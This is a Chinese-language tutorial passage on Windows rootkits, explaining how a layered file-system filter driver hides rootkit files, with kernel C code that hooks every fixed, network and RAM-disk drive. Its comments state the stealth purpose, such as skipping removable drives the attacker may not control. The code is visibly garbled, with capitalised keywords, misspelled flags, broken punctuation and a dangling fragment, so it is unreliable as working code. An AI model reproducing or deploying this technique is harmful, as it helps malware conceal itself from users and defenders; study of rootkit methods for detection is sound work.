分层驱动程序可应用于文件系统。出于潜行的需求,文件系统对于rootkit有着特殊的吸引力。许多rootkit需要在文件系统中存储文件,并且这些文件必须是隐藏的。可以使用钩子技术来隐藏文件,但这种方法容易被检测出来。另外,如果文件或目录安装在SMB共享系统上,那么钩住系统服务描述表(system service descriptor table,SSDT)并不能隐藏它们。下面来看通过分层驱动的方法来隐藏文件。
首先从驱动的入口函数DriverEntry例程来看:
NTSTATUSDriverEntry ( IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRINGRegistryPath)
{
For ( i = 0; I <=IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunctionp[i] =OurDispatch;
}
DriverObject->FastIoDispatch=&OurFastIOHook;
在DriverEntry例程中,是MajorFunction数组指向OurDispatch调度例程,还建立了一个FastIoDispatch调度表,这里可以看到文件系统驱动程序特有的一些内容。FastIo是文件系统程序的另一种通信方法。
准备好调度表后,下面必须钩住驱动器,调用HookDriveSet函数在所有可用得驱动器盘符上安装钩子:
DWORD d_hDrives= 0;
// Initializethe drives we will hool
For(I = 0;i< 26; i++)
DriveHookDevices[i] =NULL;
DriveToHook =0;
ntStatus =GetDrivesToHook(&d_hDrives);
if(!NT_SUCCESS(ntStatus))
return ntStatus;
HookDriveSet(d_hDrives,DriverObject);
以下代码用于获取钩住的驱动程序列表:
NTSTATUSGetDrivesToHook(DWORD *d_hookDrives)
{
NTSTATUS ntstatus;
PROCESS_DEVICEMAP_INFORMATION s_devMap;
DWORD MaxDriveSet, CurDriveSet;
Int drive;
If(d_hookDrives == NULL)
Return STATUS_UNSUCCESSFUL;
注意当前进程的句柄用法:
Ntstatus = ZwQueryInformationProcess(( HANDLE) 0xffffffff,
ProcessDeviceMap,
&s_devMap,
Sizeof(s_devMap),
NULL);
If(!NT_SUCCESS(ntstatus))
Return ntstatus;
// Get available drives we can monitor.
MaxDriveSet = s_devMap.Query.DriveMap;
CurDriveSet = MaxDriveSet;
For ( drive = 0; drive < 32; ++drive)
{
If(MaxDriveSet &(1<<drive))
{
Switch(s_devMap.Query.DriveType[drive])
{
首先处理要跳过的驱动器:
// We don’t like these: remove them.
Case DRIVE_UNKNOWN: // Thedrive type cannot be determined.
Case DRIVE_NO_ROOT_DIR; //The root directory does not exit.
curDriveSet &=~(1 <<drive);
break;
// The drive can be removed from the drive
// Doesn’t make sense to put hidden files on
// a removable drive because we will not
// necessarily control the computer that the
// drive is mounted on next.
Case DRIVE_REMOVABLE:
CurDriveSet &= ~(1<< drive);
Break;
// The drive is a CD-ROM drive
Case DRIVE_CDROM;
CurDriveSet &= ~(1<< drive);
Break;
将要钩住以下驱动器:DRIVE_FIXED,DRIVE_REMOTE和DRIVE_RAMDISK.
代码继续如下:
}
}
}
*d_hookDrives = CurDriveSet;
Return ntstatus;
}
钩住驱动器集合的代码如下:
ULONG HookDriveSet(IN ULONG DriveSet, IN PDRIVER_OBJECT DriverObject)
{
PHOOK_EXTENSION hookExt;
ULONG drive, I;
ULONG bit;
// Scan the drive table,looking for hits on the DriveSet bitmask.
For( drive = 0; drive <26; ++drive_
{
Bit = 1<< drive;
// Are we supposed to hookthis drive
If (( bit & DriveSet)&&!(bit &DrivesToHook))
{
If( !HookDrive( drive,DriverObject))
{
// remove from drive setif can’t be hooked
DriveSet &= ~bit;
}
Else
{
// Hook drives in samedrive group
For( I = 0; I < 26; i++)
{
If( DriveHookDevices[i] ==DriveHookDevices[ drive])
{
DriveSet |= (1<<i);
}
}
}
}
Else if ( !(bit & DriveSet)&&(bit & DrivesToHook) )
{
// Unhook this drive and all in the group
For ( I = 0; i<26; i++)
{
If( DriveHookDevices[i] ==DriveHookDevices[ drive])
{
UnhookDrive(i);
DriveSet &= ~(1<<i);
}
}
}
}
// return set of drives currently hooked.
DrivesToHook = DriveSet;
Return DriveSet;
}
对于单个驱动器挂上你和取下钩子的代码如下:
if(DriveHookDevices[Drive])
{
hookExt =DriveHookDevices[Drive]->DeviceExtension;
hookExt -> Hooked =FALSE;
}
}
BOOLEAN HookDrive ( IN ULONG Drive, IN PDRIVER_OBJECT DriverObject)
{
IO_STATUS_BLOCK ioStatus;
HANDLE ntFileHandle;
OBJECT_ATTRIBUTESobjectAttributes;
PDEVICE_OBJECTfileSysDevice;
PDEVICE_OBJECT hookDevice;
UNICODE_STRINGfileNameUnicodeString;
PFILE_FS_ATTRIBUTE_INFORMATIONfileFsAttributes;
ULONG fileFsAttributesSize;
WCHAR filename[] = L”\\DosDevices\\A:\\”;
NTSTATUS ntStatus;
ULONG I;
PFILE_OBJECT fileObject;
PHOOK_EXTENSIONhookExtension;
If(Drive >= 26)
Return FALSE; //Illegal drive letter
// Test whether we havehooked this drive
If ( DriveHookDevices [Drive] == NULL )
{
Filename[12] = (CHAR) ( ‘A’+ Drive); // Set up drive name
下面打开磁盘卷的根目录:
RtlInitUnicodeString(&fileNameUnicodeString, filename);
InitializeObjectAttributes(&objectAttributes,
&fileNameUnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
ntStatus = ZwCreateFile(&ntFileHandle,
SYNCHRONIZE | FILE_ANY_ACCESS,
&objectAttributes,
&ioStatus,
NULL,
0,
FILE_SHARE_READ |FILE_SHARE_WRITE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_DIRECTORY_FILE,
NULL,
0);
If ( ! NT_SUCCESS ( ntStatus ))
{
若程序无法打开驱动器,则返回“false”:
Return FALSE;
}
// Use file handle to look up the fileobject.
// If this is successful,
// we must eventually decrement the fileobject
ntStatus = ObReferenceObjectByHandle (ntFileHandle,
FILE_READ_DATA,
NULL,
KernelMode,
&fileobject,
NULL);
If( !NT_SUCCESS ( ntStatus))
{
若程序无法从句柄中获得文件对象,则返回“false”:
ZwClose ( ntFileHandle );
Return FALSE;
}
// Get the device object from the Fileobject
fileSysDevice = IoGetRelatedDeviceObject (fileObject );
if(!fileSysDevice)
{
若程序无法获取设备对象,则返回“flase”:
ObDereferenceObject(fileObject);
ZwClose (ntFileHandle);
Return FALSE;
}
// Check the device list to see if we arealready
// attached to this particular device
// This can happen when more than one driveletter
// is being handled by the same network
// redirector
For (I = 0; i<26; i++)
{
If( DriveHookDevices[i] == fileSysDevice )
{
// if we are already watching it
// associate this drive letter
// with the others that are handled
// by the same network driver. This enables us to intelligentlyupdate
// the hooking menus when the user specifies that one of the groupshould not be
// watched – we mark all of the related drives as unwantched aswell.
ObDereferenceObject(fileObject);
ZwClose(ntFileHandle);
DriveHookDevice[Drive] =fileSysDevice;
Return TRUE;
}
}
// The file system’s device hasn’t been hooked already, so make ahooking device object // that will be attached to it
ntStatus = IoCreateDevice(DriverObject,
sizeof(HOOK_EXTENSION),
NULL,
fileSysDevice->DeviceType.
fileSysDevice->Characteristics,
FALSE,
&hookDevice);
If( !NT_SUCCESS(ntStatus))
{
若程序无法创建相关的设备,则返回“false”:
ObDereferenceObject(fileObject);
ZwClose(ntFileHandle);
Return FALSE;
}
// Clear he device’s init flag
// If we do not clear this flag, it is speculated no one else wouldbe able to layer on top
// of us. This may be a useful feature in the future !
hookDevice->Flags &=~DO_DEVICE_INITIALIZEING;
hookDevice->Flags|=(fileSysDevice->Flags&(DO_BUFFERED_IO | DO_DIRECT_TO));
// Set up the device extensions. The drive letter and file system objectare stored in the
// extenson
hookExtension = hookDevice->DeviceExtension;
hookExtension->LogicalDrive = ‘A’ + Drive;
hookExtension->FileSystem = fileSysDevice;
hookExtension->Hooked = TRUE;
hookExtension->Type = STANDARD;
// Finally, attach to the device. As soon as we are successfullyattached, we may start
// receiving IRPs targeted at the device we are hooked.
ntStatus = IoAttachDeviceByPointer( hookDevice, fileSysDevice);
if( !NT_SUCCESS(ntStatus))
{
ObDereferenceObject (fileObject);
ZwClose(ntFileHandle);
Return FALSE;
}
// Determine whether this is an NTFS drive
fileFsAttributesSize = sizeof(FILE_FS_ATTRIBUTE_INFORMATION) +MAXPATHLEN;
hookExtension->FsAttributes = (PFILE_FS_ATTRIBUTE_INFORMATION)
ExAllocatePool(NonPagedPool, fileFsAttributesSize);
If(hookExtension->FsAttributes && !NT_SUCCESS (
IoQueryVolumeInformation ( fileObject, FileFsAttributeInformation,fileFSAttributesSize,
hookExtension->FsAttributes,
&fileFsAttributesSize)))
{
// On failure, we just don’thave attributes for this file system.
ExFreePool (hookExtesnion->FsAttributes_;
hookExtension->FsAttributes = NULL;
}
// Close the file and update the hooked drive list by entering apointer to the hook
// device object in it.
ObDereferenceObject ( fileObject);
ZwClose(ntFileHandle);
DriveHookDevices[Drive] = hookDevice;
}
Else // This drive is already hooked
{
hookExtension =DriveHookDevices[Drive]->DeviceExtension;
hookExtension ->Hooked =TRUE;
}
Return TRUE;
}
;